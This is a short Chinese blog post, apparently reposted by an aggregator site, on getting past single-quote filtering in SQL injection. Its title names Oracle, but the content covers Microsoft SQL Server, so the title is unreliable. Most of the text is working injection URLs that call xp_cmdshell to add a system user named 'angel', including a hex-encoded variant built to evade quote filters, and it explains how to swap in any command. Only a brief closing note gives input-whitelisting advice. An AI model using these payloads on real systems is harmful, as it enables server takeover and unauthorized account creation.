oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法
在防范sql注入時(shí),對變量過濾不足甚至沒有過濾而構(gòu)造畸形SQL語句,極有可能被成功注入,比如下面這行sql,相當(dāng)輕松就注入成功了:
代碼示例:
http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
大家可能覺得變量過濾了'就可以防止SQL Injection攻擊,僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
代碼示例:
http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的,其實(shí)這些都是SQL語句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進(jìn)制格式。
先聲明一個(gè)變量a,然后把指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
代碼示例:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過濾變量,限制只允許輸入特定字符。
比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。
具體在程序中的操作方法,大家在編程時(shí)自行實(shí)踐與總結(jié),從細(xì)節(jié)入手,對于防范sql 注入務(wù)必處處用心啊。
總結(jié)
以上是生活随笔為你收集整理的oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 硬解析优化_72最近一次现场生产系统优化
- 下一篇: linux php 如何上传webshe